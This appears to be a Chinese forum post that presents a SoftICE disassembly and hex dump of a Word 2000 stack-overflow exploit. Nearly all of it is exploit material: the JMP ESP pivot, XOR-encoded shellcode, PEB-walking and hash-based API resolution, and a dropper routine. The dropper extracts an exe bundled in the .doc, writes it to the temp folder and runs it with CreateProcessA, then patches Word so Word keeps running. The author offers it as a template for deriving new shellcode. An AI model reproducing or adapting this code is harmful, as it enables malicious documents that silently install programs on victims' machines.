=====================SHELLCODE111 数据 618 部分[加密处理]============================
调试软件 : softice 。
分析程序是 word.exe [注意是2000版,2003,xp版不适用]
这个是溢出代码的很好的一个事例,很多shellcode代码,都是由它变形而来的。
下面的哪个doc文档是捆绑一个exe[我保证没有任何危害,当你用office 2000打开它时]
会弹出一个对话框。
这个东西是偶早些时候,一个朋友给我分析的,发现不错,今天拿来给大家分享。
这个是对堆栈溢出,研究比较好的东西了[个人认为]。
注意哪个doc文件中的shellcode的代码是没有加密的,加密部分代码是我加的。
在word中转向溢出堆栈时的指令
0167:3000B581 FFE4 JMP ESP ;这是在我调试时esp的值00170E05
=======================下面是在doc的文档中存的数据部分在内存16进值显示===================
0023:00170977 FF FF 01 00 02 00 18 06-50 00 72 00 6F 00 6A 00 ........P.r.o.j.
0023:00170987 65 00 63 00 74 00 2E 00-4E 00 65 00 77 00 4D 00 e.c.t...N.e.w.M.
0023:00170997 61 00 63 00 72 00 6F 00-73 00 2E 00 48 00 41 00 a.c.r.o.s...H.A.
0023:001709A7 4E 00 41 00 4D 00 49 00-01 00 11 01 00 00 00 18 N.A.M.I.........
0023:001709B7 00 50 00 52 00 4F 00 4A-00 45 00 43 00 54 00 2E .P.R.O.J.E.C.T..
0023:001709C7 00 4E 00 45 00 57 00 4D-00 41 00 43 00 52 00 4F .N.E.W.M.A.C.R.O
0023:001709D7 00 53 00 2E 00 48 00 41-00 4E 00 41 00 4D 00 49 .S...H.A.N.A.M.I
0023:001709E7 00 00 00 40 00 80 01 00-00 00 00 00 00 00 00 00 ...@............
0023:001709F7 78 68 52 01 01 00 00 00-00 00 00 00 00 00 00 00 xhR.............
0023:00170A07 00 00 00 00 00 00 00 00-02 1C 00 00 00 00 00 00 ................
0023:00170A17 00 89 24 00 00 14 49 00-00 40 00 00 08 00 00 00 ..$...I..@......
0023:00170A27 00 40 00 00 58 00 00 00-00 FF FF 01 00 00 00 07 .@..X...........
0023:00170A37 00 55 00 6E 00 6B 00 6E-00 6F 00 77 00 6E 00 FF .U.n.k.n.o.w.n..
0023:00170A47 FF 01 00 08 00 00 00 00-00 00 00 00 00 00 00 FF ................
0023:00170A57 FF 01 00 00 00 00 00 FF-FF 00 00 02 00 FF FF 00 ................
0023:00170A67 00 00 00 FF FF 00 00 02-00 FF FF 00 00 00 00 04 ................
0023:00170A77 00 00 00 47 16 90 01 00-00 02 02 06 03 05 04 05 ...G............
0023:00170A87 02 03 04 87 7A 00 20 00-00 00 80 08 00 00 00 00 ....z. .........
0023:00170A97 00 00 00 FF 01 00 00 00-00 00 00 54 00 69 00 6D ...........T.i.m
0023:00170AA7 00 65 00 73 00 20 00 4E-00 65 00 77 00 20 00 52 .e.s. .N.e.w. .R
0023:00170AB7 00 6F 00 6D 00 61 00 6E-00 00 00 35 16 90 01 02 .o.m.a.n...5....
0023:00170AC7 00 05 05 01 02 01 07 06-02 05 07 00 00 00 00 00 ................
0023:00170AD7 00 00 10 00 00 00 00 00-00 00 00 00 00 00 80 00 ................
0023:00170AE7 00 00 00 53 00 79 00 6D-00 62 00 6F 00 6C 00 00 ...S.y.m.b.o.l..
0023:00170AF7 00 33 26 90 01 00 00 02-0B 06 04 02 02 02 02 02 .3&.............
0023:00170B07 04 87 7A 00 20 00 00 00-80 08 00 00 00 00 00 00 ..z. ...........
0023:00170B17 00 FF 01 00 00 00 00 00-00 41 00 72 00 69 00 61 .........A.r.i.a
0023:00170B27 00 6C 00 00 00 3B 06 90-01 86 03 02 01 06 00 03 .l...;..........
0023:00170B37 01 01 01 01 01 03 00 00-00 00 00 0E 08 10 00 00 ................
0023:00170B47 00 00 00 00 00 01 00 04-00 00 00 00 00 8B 5B 53 ..............[S
0023:00170B57 4F 00 00 53 00 69 00 6D-00 53 00 75 00 6E 00 00 O..S.i.m.S.u.n..
0023:00170B67 00 20 00 04 00 71 08 88-18 00 00 A4 01 00 00 68 . ...q.........h
0023:00170B77 01 00 00 00 00 36 00 00-00 00 00 00 00 00 00 00 .....6..........
0023:00170B87 00 08 12 45 FA 7F 00 E8-0A 00 E9 7B 02 00 00 0B ...E......{....
0023:00170B97 00 25 00 00 00 04 00 03-10 84 00 00 00 E8 0A 00 .%..............
0023:00170BA7 00 2C 3E 00 00 0B 00 25-00 00 00 84 00 00 00 00 .,>....%........
0023:00170BB7 00 00 00 21 03 00 00 00-00 00 00 03 00 2D 00 13 ...!.........-..
0023:00170BC7 00 21 00 29 00 2C 00 2E-00 3A 00 3B 00 3F 00 5D .!.).,...:.;.?.]
0023:00170BD7 00 7D 00 A8 00 B7 00 C7-02 C9 02 15 20 16 20 19 .}.......... . .
0023:00170BE7 20 1D 20 26 20 36 22 01-30 02 30 03 30 05 30 09 . & 6".0.0.0.0.
0023:00170BF7 30 0B 30 0D 30 0F 30 11-30 15 30 17 30 01 FF 02 0.0.0.0.0.0.0...
0023:00170C07 FF 07 FF 09 FF 0C FF 0E-FF 1A FF 1B FF 1F FF 3D ...............=
0023:00170C17 FF 40 FF 5C FF 5D FF 5E-FF E0 FF 00 00 00 00 00 .@.\.].^........
0023:00170C27 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170C37 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170C47 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170C57 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170C67 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170C77 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170C87 00 00 00 00 00 00 00 00-00 00 00 28 00 5B 00 7B ...........(.[.{
0023:00170C97 00 B7 00 18 20 1C 20 08-30 0A 30 0C 30 0E 30 10 .... . .0.0.0.0.
0023:00170CA7 30 14 30 16 30 08 FF 0E-FF 3B FF 5B FF E1 FF E5 0.0.0....;.[....
0023:00170CB7 FF 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170CC7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170CD7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170CE7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170CF7 00 08 07 A0 05 B4 00 9C-00 82 80 12 04 00 00 11 ................
0023:00170D07 00 19 00 64 00 00 00 19-00 00 00 EF 48 00 00 EF ...d........H...
0023:00170D17 48 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 H...............
0023:00170D27 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170D37 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170D47 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 02 ................
0023:00170D57 00 00 00 00 00 00 00 00-00 00 32 83 11 00 00 00 ..........2.....
0023:00170D67 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00170D77 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 48 ...............H
0023:00170D87 00 00 00 00 00 29 F0 FF-0F 01 00 01 3F 00 00 A8 .....)......?...
0023:00170D97 03 00 00 FF FF FF 7F FF-FF FF 7F FF FF FF 7F FF .............
0023:00170DA7 FF FF 7F FF FF FF 7F FF-FF FF 7F FF FF FF 7F A1 ............
0023:00170DB7 0D C2 00 FF FF 12 00 00-00 00 00 00 00 0C 00 4D ...............M
0023:00170DC7 00 61 00 68 00 75 12 45-FA 7F 00 20 00 4D 00 61 .a.h.u.E.. .M.a
0023:00170DD7 00 67 00 69 00 63 00 00-00 00 00 00 00 05 00 54 .g.i.c.........T
0023:00170DE7 00 69 00 74 00 61 00 6E-00 05 00 00 00 00 00 74 .i.t.a.n.......t
0023:00170DF7 00 61 00 6E 00 00 00 00-00 00 00 00 00 00 00 42 .a.n...........B
001B:00170E05 004200 ADD [EDX+00],AL
001B:00170E08 49 DEC ECX
001B:00170E09 33ED XOR EBP,EBP
001B:00170E0B 45 INC EBP
001B:00170E0C 90 NOP
001B:00170E0D 90 NOP
001B:00170E0E 90 NOP
001B:00170E0F 90 NOP
001B:00170E10 41 INC ECX
001B:00170E11 90 NOP
001B:00170E12 90 NOP
001B:00170E13 90 NOP
001B:00170E14 E8EF040000 CALL 00171308
=================解开数据==========================================
001B:00171308 E808000000 CALL 00171315
001B:0017130D CC INT 3
001B:0017130E CC INT 3
001B:0017130F CC INT 3
001B:00171310 CC INT 3
001B:00171311 CC INT 3
001B:00171312 CC INT 3
001B:00171313 CC INT 3
001B:00171314 CC INT 3
001B:00171315 59 POP ECX
001B:00171316 5E POP ESI
001B:00171317 2BCE SUB ECX,ESI ?;
001B:00171319 8BFE MOV EDI,ESI ?;解开
001B:0017131B 56 PUSH ESI ?;加密的
001B:0017131C AC LODSB ?;代码
001B:0017131D 34CC XOR AL,CC ?;
001B:0017131F AA STOSB ?;
001B:00171320 E2FA LOOP 0017131C ?;
001B:00171322 C3 RET
===========================下面是解密后的程序========================================
001B:00170E19 55 PUSH EBP
001B:00170E1A 8BEC MOV EBP,ESP
001B:00170E1C 81EC08050000 SUB ESP,00000508
001B:00170E22 53 PUSH EBX
001B:00170E23 56 PUSH ESI
001B:00170E24 57 PUSH EDI
001B:00170E25 C745C800000000 MOV DWORD PTR [EBP-38],00000000
001B:00170E2C 33F6 XOR ESI,ESI
001B:00170E2E 64AD LODSD FS: ?;通过FS段
001B:00170E30 40 INC EAX ?;积存器
001B:00170E31 7405 JZ 00170E38 ?;找到windows
001B:00170E33 48 DEC EAX ?;系统空间
001B:00170E34 96 XCHG EAX,ESI ?;位置
001B:00170E35 AD LODSD ?;
001B:00170E36 EBF8 JMP 00170E30 ?;
001B:00170E38 AD LODSD
001B:00170E39 6633C0 XOR AX,AX
001B:00170E3C 6681384D5A CMP WORD PTR [EAX],5A4D ;
001B:00170E41 750B JNZ 00170E4E ;查找kernel32.dll
001B:00170E43 8B583C MOV EBX,[EAX+3C] ;起始的位置
001B:00170E46 66813C185045 CMP WORD PTR [EBX+EAX],4550 ;
001B:00170E4C 7407 JZ 00170E55 ;
001B:00170E4E 2D00000100 SUB EAX,00010000 ;
001B:00170E53 EBE7 JMP 00170E3C
001B:00170E55 50 PUSH EAX
001B:00170E56 5B POP EBX
001B:00170E57 8B503C MOV EDX,[EAX+3C]
001B:00170E5A 035C1078 ADD EBX,[EDX+EAX+78]
001B:00170E5E 53 PUSH EBX
001B:00170E5F 50 PUSH EAX
001B:00170E60 5A POP EDX
001B:00170E61 035320 ADD EDX,[EBX+20]
001B:00170E64 33C9 XOR ECX,ECX
001B:00170E66 50 PUSH EAX
001B:00170E67 5B POP EBX
001B:00170E68 031C8A ADD EBX,[ECX*4+EDX]
001B:00170E6B 33F6 XOR ESI,ESI
001B:00170E6D 803B00 CMP BYTE PTR [EBX],00 ;
001B:00170E70 7422 JZ 00170E94 ;
001B:00170E72 56 PUSH ESI ;定
001B:00170E73 5F POP EDI ;位
001B:00170E74 C1E605 SHL ESI,05 ;G
001B:00170E77 C1EF1B SHR EDI,1B ;e
001B:00170E7A 0BF7 OR ESI,EDI ;t
001B:00170E7C 0FBE3B MOVSX EDI,BYTE PTR [EBX] ;P
001B:00170E7F 03F7 ADD ESI,EDI ;r
001B:00170E81 43 INC EBX ;o
001B:00170E82 EBE9 JMP 00170E6D ;c
001B:00170E84 EB0E JMP 00170E94 ;A
001B:00170E86 CC INT 3 ;d
001B:00170E87 CC INT 3 ;d
001B:00170E88 CC INT 3 ;r
001B:00170E89 CC INT 3 ;e
001B:00170E8A CC INT 3 ;s
001B:00170E8B CC INT 3 ;s
001B:00170E8C CC INT 3 ;函数的
001B:00170E8D CC INT 3 ;索引
001B:00170E8E CC INT 3 ;值
001B:00170E8F CC INT 3 ;
001B:00170E90 CC INT 3 ;
001B:00170E91 CC INT 3 ;
001B:00170E92 CC INT 3 ;
001B:00170E93 CC INT 3 ;
001B:00170E94 81FE9055C999 CMP ESI,99C95590 ;
001B:00170E9A 7403 JZ 00170E9F ;
001B:00170E9C 41 INC ECX ;
001B:00170E9D EBC7 JMP 00170E66 ;
001B:00170E9F 5B POP EBX
001B:00170EA0 50 PUSH EAX
001B:00170EA1 5A POP EDX
001B:00170EA2 035324 ADD EDX,[EBX+24]
001B:00170EA5 0FB70C4A MOVZX ECX,WORD PTR [ECX*2+EDX]
001B:00170EA9 50 PUSH EAX
001B:00170EAA 5A POP EDX
001B:00170EAB 894598 MOV [EBP-68],EAX
001B:00170EAE 03531C ADD EDX,[EBX+1C] ;根据
001B:00170EB1 03048A ADD EAX,[ECX*4+EDX] ;索引值
001B:00170EB4 8945C8 MOV [EBP-38],EAX ;得到函数GetProcAddress入口地址
001B:00170EB7 C6459F00 MOV BYTE PTR [EBP-61],00
001B:00170EBB 807D0001 CMP BYTE PTR [EBP+00],01
001B:00170EBF 7518 JNZ 00170ED9
001B:00170EC1 C6459F01 MOV BYTE PTR [EBP-61],01
001B:00170EC5 8BC4 MOV EAX,ESP
001B:00170EC7 05000E0000 ADD EAX,00000E00
001B:00170ECC 8B18 MOV EBX,[EAX]
001B:00170ECE 895DA8 MOV [EBP-58],EBX
001B:00170ED1 83C01C ADD EAX,1C
001B:00170ED4 8945AC MOV [EBP-54],EAX
001B:00170ED7 EB12 JMP 00170EEB
001B:00170ED9 8BC4 MOV EAX,ESP
001B:00170EDB 05E0100000 ADD EAX,000010E0
001B:00170EE0 8B18 MOV EBX,[EAX]
001B:00170EE2 895DA8 MOV [EBP-58],EBX
001B:00170EE5 83C01C ADD EAX,1C
001B:00170EE8 8945AC MOV [EBP-54],EAX
001B:00170EEB E9FC020000 JMP 001711EC
001B:00170EF0 8F45BC POP DWORD PTR [EBP-44]
001B:00170EF3 C745B801000000 MOV DWORD PTR [EBP-48],00000001
001B:00170EFA 8B45BC MOV EAX,[EBP-44] ;
001B:00170EFD 0FBE08 MOVSX ECX,BYTE PTR [EAX] ;
001B:00170F00 83F90F CMP ECX,0F ;
001B:00170F03 7455 JZ 00170F5A ;使用
001B:00170F05 8B45BC MOV EAX,[EBP-44] ;GetProcAddress
001B:00170F08 0FBE08 MOVSX ECX,BYTE PTR [EAX] ;函数
001B:00170F0B 83F909 CMP ECX,09 ;得到
001B:00170F0E 750F JNZ 00170F1F ;需要
001B:00170F10 8B45BC MOV EAX,[EBP-44] ;使用的
001B:00170F13 83C001 ADD EAX,01 ;所
001B:00170F16 50 PUSH EAX ;有
001B:00170F17 FF55D0 CALL [EBP-30] ;函数的
001B:00170F1A 894598 MOV [EBP-68],EAX ;入口
001B:00170F1D EB1B JMP 00170F3A ;地址
001B:00170F1F 8B45BC MOV EAX,[EBP-44] ;
001B:00170F22 50 PUSH EAX ;
001B:00170F23 8B4D98 MOV ECX,[EBP-68] ;
001B:00170F26 51 PUSH ECX ;
001B:00170F27 FF55C8 CALL [EBP-38] ;
001B:00170F2A 8B55B8 MOV EDX,[EBP-48] ;
001B:00170F2D 894495CC MOV [EDX*4+EBP-34],EAX ;保存入口地址的
001B:00170F31 8B45B8 MOV EAX,[EBP-48] ;
001B:00170F34 83C001 ADD EAX,01 ;
001B:00170F37 8945B8 MOV [EBP-48],EAX ;
001B:00170F3A 8B45BC MOV EAX,[EBP-44] ;
001B:00170F3D 0FBE08 MOVSX ECX,BYTE PTR [EAX] ;
001B:00170F40 85C9 TEST ECX,ECX ;
001B:00170F42 740B JZ 00170F4F ;
001B:00170F44 8B45BC MOV EAX,[EBP-44] ;
001B:00170F47 83C001 ADD EAX,01 ;
001B:00170F4A 8945BC MOV [EBP-44],EAX ;
001B:00170F4D EBEB JMP 00170F3A ;
001B:00170F4F 8B45BC MOV EAX,[EBP-44] ;
001B:00170F52 83C001 ADD EAX,01 ;
001B:00170F55 8945BC MOV [EBP-44],EAX ;
001B:00170F58 EBA0 JMP 00170EFA ;
001B:00170F5A 8B45BC MOV EAX,[EBP-44]
001B:00170F5D 83C001 ADD EAX,01
001B:00170F60 8945BC MOV [EBP-44],EAX
001B:00170F63 C745B801000000 MOV DWORD PTR [EBP-48],00000001
001B:00170F6A 8B45BC MOV EAX,[EBP-44]
001B:00170F6D 0FBE08 MOVSX ECX,BYTE PTR [EAX]
001B:00170F70 85C9 TEST ECX,ECX
001B:00170F72 7433 JZ 00170FA7
001B:00170F74 8B45B8 MOV EAX,[EBP-48]
001B:00170F77 8B4DBC MOV ECX,[EBP-44]
001B:00170F7A 894C85C0 MOV [EAX*4+EBP-40],ECX
001B:00170F7E 8B45B8 MOV EAX,[EBP-48]
001B:00170F81 83C001 ADD EAX,01
001B:00170F84 8945B8 MOV [EBP-48],EAX
001B:00170F87 8B45BC MOV EAX,[EBP-44]
001B:00170F8A 0FBE08 MOVSX ECX,BYTE PTR [EAX]
001B:00170F8D 85C9 TEST ECX,ECX
001B:00170F8F 740B JZ 00170F9C
001B:00170F91 8B45BC MOV EAX,[EBP-44]
001B:00170F94 83C001 ADD EAX,01
001B:00170F97 8945BC MOV [EBP-44],EAX
001B:00170F9A EBEB JMP 00170F87
001B:00170F9C 8B45BC MOV EAX,[EBP-44]
001B:00170F9F 83C001 ADD EAX,01
001B:00170FA2 8945BC MOV [EBP-44],EAX
001B:00170FA5 EBC3 JMP 00170F6A
001B:00170FA7 C745A000980200 MOV DWORD PTR [EBP-60],00029800
001B:00170FAE 8D853CFBFFFF LEA EAX,[EBP+FFFFFB3C]
001B:00170FB4 50 PUSH EAX
001B:00170FB5 6800040000 PUSH 00000400
001B:00170FBA FF55F8 CALL [EBP-08] ;取临时目录
001B:00170FBD 8D853CFBFFFF LEA EAX,[EBP+FFFFFB3C]
001B:00170FC3 50 PUSH EAX
001B:00170FC4 FF55FC CALL [EBP-04] ;改变当前目录
001B:00170FC7 6A00 PUSH 00
001B:00170FC9 6A02 PUSH 02
001B:00170FCB 6A04 PUSH 04
001B:00170FCD 6A00 PUSH 00
001B:00170FCF 6A03 PUSH 03
001B:00170FD1 6800000040 PUSH 40000000 ; STATUS_OBJECT_NAME_EXIST
001B:00170FD6 8B45C4 MOV EAX,[EBP-3C]
001B:00170FD9 50 PUSH EAX
001B:00170FDA FF55E0 CALL [EBP-20] ;创建文件
001B:00170FDD 894590 MOV [EBP-70],EAX
001B:00170FE0 C7459400000000 MOV DWORD PTR [EBP-6C],00000000
001B:00170FE7 83459404 ADD DWORD PTR [EBP-6C],04
001B:00170FEB 6A00 PUSH 00 ;
001B:00170FED 8B4594 MOV EAX,[EBP-6C] ;
001B:00170FF0 50 PUSH EAX ;在内存中查
001B:00170FF1 FF55F4 CALL [EBP-0C] ;找这个doc
001B:00170FF4 8B4DA0 MOV ECX,[EBP-60] ;的handle
001B:00170FF7 81C100020100 ADD ECX,00010200 ;
001B:00170FFD 3BC1 CMP EAX,ECX ;
001B:00170FFF 75E6 JNZ 00170FE7 ;
001B:00171001 6A00 PUSH 00
001B:00171003 6A00 PUSH 00
001B:00171005 6800020100 PUSH 00010200
001B:0017100A 8B4594 MOV EAX,[EBP-6C]
001B:0017100D 50 PUSH EAX
001B:0017100E FF55E4 CALL [EBP-1C] ; 定位文件的位置
001B:00171011 C745A400000000 MOV DWORD PTR [EBP-5C],00000000
001B:00171018 6A00 PUSH 00 ;
001B:0017101A 8D45B4 LEA EAX,[EBP-4C] ;从
001B:0017101D 50 PUSH EAX ;doc
001B:0017101E 6800040000 PUSH 00000400 ;文档
001B:00171023 8D8D3CFBFFFF LEA ECX,[EBP+FFFFFB3C] ;中
001B:00171029 51 PUSH ECX ;把
001B:0017102A 8B5594 MOV EDX,[EBP-6C] ;捆绑
001B:0017102D 52 PUSH EDX ;的
001B:0017102E FF55D8 CALL [EBP-28] ;哪个
001B:00171031 C78538FBFFFF00000000MOV DWORD PTR [EBP+FFFFFB38],00000000;exe
001B:0017103B EB0F JMP 0017104C ;文件
001B:0017103D 8B8538FBFFFF MOV EAX,[EBP+FFFFFB38] ;写入
001B:00171043 83C001 ADD EAX,01 ;刚才
001B:00171046 898538FBFFFF MOV [EBP+FFFFFB38],EAX ;创建
001B:0017104C 8B8538FBFFFF MOV EAX,[EBP+FFFFFB38] ;的
001B:00171052 3B45B4 CMP EAX,[EBP-4C] ;哪个
001B:00171055 7323 JAE 0017107A ;文件
001B:00171057 8B8538FBFFFF MOV EAX,[EBP+FFFFFB38] ;
001B:0017105D 0FBE8C053CFBFFFF MOVSX ECX,BYTE PTR [EAX+EBP+FFFFFB3C] ;
001B:00171065 81F1CC000000 XOR ECX,000000CC ;
001B:0017106B 8B9538FBFFFF MOV EDX,[EBP+FFFFFB38] ;
001B:00171071 888C153CFBFFFF MOV [EDX+EBP+FFFFFB3C],CL ;
001B:00171078 EBC3 JMP 0017103D ;
001B:0017107A 8B45A4 MOV EAX,[EBP-5C] ;
001B:0017107D 0345B4 ADD EAX,[EBP-4C] ;
001B:00171080 8945A4 MOV [EBP-5C],EAX ;
001B:00171083 8B45A4 MOV EAX,[EBP-5C] ;
001B:00171086 3B45A0 CMP EAX,[EBP-60] ;
001B:00171089 7C20 JL 001710AB ;
001B:0017108B 6A00 PUSH 00 ;
001B:0017108D 8D45B0 LEA EAX,[EBP-50] ;
001B:00171090 50 PUSH EAX ;
001B:00171091 8B4DB4 MOV ECX,[EBP-4C] ;
001B:00171094 034DA0 ADD ECX,[EBP-60] ;
001B:00171097 2B4DA4 SUB ECX,[EBP-5C] ;
001B:0017109A 51 PUSH ECX ;
001B:0017109B 8D953CFBFFFF LEA EDX,[EBP+FFFFFB3C] ;
001B:001710A1 52 PUSH EDX ;
001B:001710A2 8B4590 MOV EAX,[EBP-70] ;
001B:001710A5 50 PUSH EAX ;
001B:001710A6 FF55DC CALL [EBP-24] ;
001B:001710A9 EB22 JMP 001710CD ;
001B:001710AB 6A00 PUSH 00 ;
001B:001710AD 8D45B0 LEA EAX,[EBP-50] ;
001B:001710B0 50 PUSH EAX ;
001B:001710B1 8B4DB4 MOV ECX,[EBP-4C] ;
001B:001710B4 51 PUSH ECX ;
001B:001710B5 8D953CFBFFFF LEA EDX,[EBP+FFFFFB3C] ;
001B:001710BB 52 PUSH EDX ;
001B:001710BC 8B4590 MOV EAX,[EBP-70] ;
001B:001710BF 50 PUSH EAX ;
001B:001710C0 FF55DC CALL [EBP-24] ;
001B:001710C3 837DB400 CMP DWORD PTR [EBP-4C],00 ;
001B:001710C7 0F854BFFFFFF JNZ 00171018 ;
001B:001710CD 8B4590 MOV EAX,[EBP-70]
001B:001710D0 50 PUSH EAX
001B:001710D1 FF55E8 CALL [EBP-18] ;设置文件结束
001B:001710D4 8B4590 MOV EAX,[EBP-70]
001B:001710D7 50 PUSH EAX
001B:001710D8 FF55EC CALL [EBP-14] ;关闭文件
001B:001710DB 8B4594 MOV EAX,[EBP-6C]
001B:001710DE 50 PUSH EAX
001B:001710DF FF55EC CALL [EBP-14]
001B:001710E2 8DBD4CFFFFFF LEA EDI,[EBP-00B4]
001B:001710E8 33C0 XOR EAX,EAX
001B:001710EA B911000000 MOV ECX,00000011
001B:001710EF F2AB REPNZ STOSD
001B:001710F1 C7854CFFFFFF44000000MOV DWORD PTR [EBP-00B4],00000044
001B:001710FB 8D853CFFFFFF LEA EAX,[EBP-00C4]
001B:00171101 50 PUSH EAX
001B:00171102 8D8D4CFFFFFF LEA ECX,[EBP-00B4]
001B:00171108 51 PUSH ECX
001B:00171109 6A00 PUSH 00
001B:0017110B 6A00 PUSH 00
001B:0017110D 6A00 PUSH 00
001B:0017110F 6A00 PUSH 00
001B:00171111 6A00 PUSH 00
001B:00171113 6A00 PUSH 00
001B:00171115 6A00 PUSH 00
001B:00171117 8B55C4 MOV EDX,[EBP-3C]
001B:0017111A 52 PUSH EDX
001B:0017111B FF55D4 CALL [EBP-2C] ;执行刚才创建哪个exe文件
001B:0017111E 0FB6459F MOVZX EAX,BYTE PTR [EBP-61]
001B:00171122 85C0 TEST EAX,EAX
001B:00171124 7463 JZ 00171189
001B:00171126 33C0 XOR EAX,EAX ;
001B:00171128 8BD8 MOV EBX,EAX ;返回
001B:0017112A C1E309 SHL EBX,09 ;word
001B:0017112D 3E031D94D28030 ADD EBX,DS:[3080D294] ;应用
001B:00171134 81C36D010000 ADD EBX,0000016D ;程序
001B:0017113A 40 INC EAX ;时
001B:0017113B 813B0010FFFF CMP DWORD PTR [EBX],FFFF1000 ;把
001B:00171141 75E5 JNZ 00171128 ;相应
001B:00171143 66817B081806 CMP WORD PTR [EBX+08],0618 ;位置
001B:00171149 75DD JNZ 00171128 ;数据
001B:0017114B 66C743081800 MOV WORD PTR [EBX+08],0018 ;调整
001B:00171151 33C0 XOR EAX,EAX ;以便
001B:00171153 8BD8 MOV EBX,EAX ;程序
001B:00171155 C1E309 SHL EBX,09 ;能
001B:00171158 3E031D94D28030 ADD EBX,DS:[3080D294] ;正常
001B:0017115F 81C35E010000 ADD EBX,0000015E ;执行
001B:00171165 40 INC EAX ;
001B:00171166 813B5D0C0000 CMP DWORD PTR [EBX],00000C5D ;
001B:0017116C 75E5 JNZ 00171153 ;
001B:0017116E 66C7039300 MOV WORD PTR [EBX],0093 ;
001B:00171173 8B65AC MOV ESP,[EBP-54] ;
001B:00171176 5F POP EDI ;
001B:00171177 5E POP ESI ;
001B:00171178 5B POP EBX ;
001B:00171179 8B65A8 MOV ESP,[EBP-58] ;
001B:0017117C 5D POP EBP ;
001B:0017117D 33C0 XOR EAX,EAX ;
001B:0017117F 40 INC EAX ;
001B:00171180 802C2425 SUB BYTE PTR [ESP],25 ;
001B:00171184 C23400 RET 0034 ;
001B:00171187 EB63 JMP 001711EC ;
001B:00171189 33C0 XOR EAX,EAX ;
001B:0017118B 8BD8 MOV EBX,EAX ;
001B:0017118D C1E309 SHL EBX,09 ;
001B:00171190 3E031D74A89A30 ADD EBX,DS:[309AA874] ;
001B:00171197 81C36D010000 ADD EBX,0000016D ;
001B:0017119D 40 INC EAX ;
001B:0017119E 813B0010FFFF CMP DWORD PTR [EBX],FFFF1000 ;
001B:001711A4 75E5 JNZ 0017118B ;
001B:001711A6 66817B081806 CMP WORD PTR [EBX+08],0618 ;
001B:001711AC 75DD JNZ 0017118B ;
001B:001711AE 66C743081800 MOV WORD PTR [EBX+08],0018 ;
001B:001711B4 33C0 XOR EAX,EAX ;
001B:001711B6 8BD8 MOV EBX,EAX ;
001B:001711B8 C1E309 SHL EBX,09 ;
001B:001711BB 3E031D74A89A30 ADD EBX,DS:[309AA874] ;
001B:001711C2 81C35E010000 ADD EBX,0000015E ;
001B:001711C8 40 INC EAX ;
001B:001711C9 813B5D0C0000 CMP DWORD PTR [EBX],00000C5D ;
001B:001711CF 75E5 JNZ 001711B6 ;
001B:001711D1 66C7039300 MOV WORD PTR [EBX],0093 ;
001B:001711D6 8B65AC MOV ESP,[EBP-54] ;
001B:001711D9 5F POP EDI ;
001B:001711DA 5E POP ESI ;
001B:001711DB 5B POP EBX ;
001B:001711DC 8B65A8 MOV ESP,[EBP-58] ;
001B:001711DF 5D POP EBP ;
001B:001711E0 33DB XOR EBX,EBX ;
001B:001711E2 33C0 XOR EAX,EAX ;
001B:001711E4 40 INC EAX ;
001B:001711E5 802C2428 SUB BYTE PTR [ESP],28 ;
001B:001711E9 C23800 RET 0038 ;
001B:001711EC E8FFFCFFFF CALL 00170EF0
0023:001711EC E8 FF FC FF FF 4C 6F 61-64 4C 69 62 72 61 72 79 .....LoadLibrary
0023:001711FC 41 00 43 72 65 61 74 65-50 72 6F 63 65 73 73 41 A.CreateProcessA
0023:0017120C 00 52 65 61 64 46 69 6C-65 00 57 72 69 74 65 46 .ReadFile.WriteF
0023:0017121C 69 6C 65 00 43 72 65 61-74 65 46 69 6C 65 41 00 ile.CreateFileA.
0023:0017122C 53 65 74 46 69 6C 65 50-6F 69 6E 74 65 72 00 53 SetFilePointer.S
0023:0017123C 65 74 45 6E 64 4F 66 46-69 6C 65 00 43 6C 6F 73 etEndOfFile.Clos
0023:0017124C 65 48 61 6E 64 6C 65 00-53 6C 65 65 70 00 47 65 eHandle.Sleep.Ge
0023:0017125C 74 46 69 6C 65 53 69 7A-65 00 47 65 74 54 65 6D tFileSize.GetTem
0023:0017126C 70 50 61 74 68 41 00 53-65 74 43 75 72 72 65 6E pPathA.SetCurren
0023:0017127C 74 44 69 72 65 63 74 6F-72 79 41 00 0F 6D 73 6E tDirectoryA..msn
0023:0017128C 6F 74 65 2E 65 78 65 00-00 65 00 00 2E 65 78 65 ote.exe..e...exe
0023:0017129C 00 00 CC CC CC CC CC CC-CC CC CC CC CC CC CC CC ................
0023:00171267 A9 B8 98 A9 A1 BC 9C AD-B8 A4 8D CC 9F A9 B8 8F ................
0023:00171277 B9 BE BE A9 A2 B8 88 A5-BE A9 AF B8 A3 BE B5 8D ................
0023:00171287 CC C3 A1 BF A2 A3 B8 A9-E2 A9 B4 A9 CC CC A9 CC ................
0023:00171297 CC E2 A9 B4 A9 CC CC 00-00 00 00 00 00 00 00 00 ................
0023:001712A7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:001712B7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:001712C7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:001712D7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:001712E7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:001712F7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0023:00171307 00 E8 08 00 00 00 CC CC-CC CC CC CC CC CC 59 5E ..............Y^
0023:00171317 2B CE 8B FE 56 AC 34 CC-AA E2 FA C3 00 00 00 00 +...V.4.........
